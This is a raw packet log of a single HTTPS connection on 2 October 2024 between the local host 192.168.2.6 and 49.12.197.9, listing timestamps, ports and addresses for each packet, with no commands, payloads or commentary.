Oct 2, 2024 17:16:39.187617064 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.187655926 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.187710047 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.197020054 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.197037935 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.197132111 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.197139978 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.197211981 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.204874039 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.204893112 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.204968929 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.204998970 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.205069065 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.213558912 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.213577986 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.213695049 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.213726997 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.213885069 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.231631041 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.231650114 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.231715918 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.231758118 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.231771946 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.231795073 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.243887901 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.243908882 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.243997097 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.244026899 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.244066000 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.259232044 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.259257078 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.259349108 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.259382010 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.259963036 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.269479990 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.269501925 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.269624949 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.269666910 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.269740105 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.280060053 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.280081034 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.280164957 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.280201912 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.280272007 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.289527893 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.289545059 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.289678097 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.289705038 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.289844990 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.297846079 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.297877073 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.297931910 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.297961950 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.297982931 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.297995090 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.306302071 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.306324959 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.306443930 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.306443930 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.306477070 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.306642056 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.324151039 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.324170113 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.324305058 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.324332952 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.325586081 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.336467028 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.336483955 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.336575031 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.336594105 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.336631060 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.352168083 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.352188110 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.352260113 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.352297068 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.352394104 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.362179041 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.362195015 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.362260103 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.362287998 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.362382889 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.372584105 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.372601986 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.372673035 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.372690916 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.372731924 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.382035971 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.382052898 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.382114887 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.382138014 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.382179976 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.390636921 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.390656948 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.390741110 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.390758991 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.390800953 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.399318933 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.399349928 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.399404049 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.399422884 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.399447918 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.399461985 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.416759968 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.416783094 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.416836023 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.416881084 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.416894913 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.416919947 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.429090023 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.429109097 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.429164886 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.429197073 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.429209948 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.429231882 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.444804907 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.444827080 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.444987059 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.445027113 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.445080042 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.454813957 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.454833031 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.455040932 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.455060959 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.455245972 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.465251923 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.465272903 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.465362072 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.465379953 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.465419054 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.474811077 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.474837065 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.474910021 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.474946976 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.474999905 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.483154058 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.483175993 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.483279943 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.483309984 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.483397007 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.491509914 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.491528034 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.491600990 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.491626978 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.491763115 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.509507895 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.509526014 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.509609938 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.509639978 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.509715080 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.521637917 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.521656990 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.521764994 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.521794081 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.521857023 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.537457943 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.537482977 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.537559986 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.537586927 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.537648916 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.547518015 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.547538042 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.547607899 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.547636032 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.547861099 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.557930946 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.557951927 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.558041096 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.558068991 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.558186054 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.567357063 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.567377090 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.567457914 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.567487001 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.567953110 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.575735092 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.575752974 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.575807095 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.575828075 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.575849056 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.575874090 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.584183931 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.584202051 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.584256887 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.584290981 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.584310055 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.584464073 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.602524042 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.602545023 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.602632999 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.602658987 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.602755070 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.614257097 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.614279985 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.614398956 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.614419937 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.614478111 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.629849911 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.629882097 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.630059958 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.630079985 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.630125046 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.640784979 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.640811920 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.641045094 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.641058922 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.641102076 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.650607109 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.650640011 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.650754929 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.650763988 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.650799990 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.659904003 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.659936905 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.660012960 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.660021067 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.660060883 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.668625116 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.668656111 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.668788910 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.668824911 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.671350002 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.676826954 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.676856041 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.676939011 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.676951885 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.677999973 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.695091963 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.695128918 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.695256948 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.695297956 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.699438095 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.706998110 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.707030058 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.707129955 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.707145929 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.707317114 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.722558975 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.722592115 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.722734928 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.722780943 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.723314047 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.733361006 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.733387947 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.733498096 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.733539104 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.733556032 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.735354900 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.743350029 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.743401051 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.743457079 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.743479967 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.743500948 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.743524075 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.752419949 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.752449036 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.752549887 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.752588034 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.755333900 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.774555922 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.774584055 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.774729967 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.774771929 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.775315046 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.776472092 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.776494026 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.776542902 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.776557922 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.776592970 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.787656069 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.787681103 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.787812948 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.787842989 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.789055109 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.799577951 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.799607992 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.799729109 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.799742937 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.802227020 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.815316916 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.815346003 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.815454006 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.815464020 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.818918943 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.827497005 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.827531099 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.827622890 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.827631950 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.829320908 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.853930950 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.853959084 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.854120016 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.854129076 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.854171991 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.867084980 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.867116928 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.867166996 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.867180109 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.867386103 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.869683027 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.869700909 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.869759083 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.869774103 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.870157003 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.870644093 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.870659113 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.870717049 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.870724916 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.871315002 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.880306005 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.880325079 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.880384922 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.880403996 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.881875992 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.892117023 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.892144918 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.892191887 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.892211914 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.892230034 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.892260075 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.907902002 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.907922983 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.908050060 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.908077002 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.909585953 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.920171022 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.920191050 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.920277119 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.920295954 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.922646999 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.946635008 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.946652889 CEST	443	65237	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:39.946777105 CEST	65237	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:39.946804047 CEST	443	65237	49.12.197.9	192.168.2.6
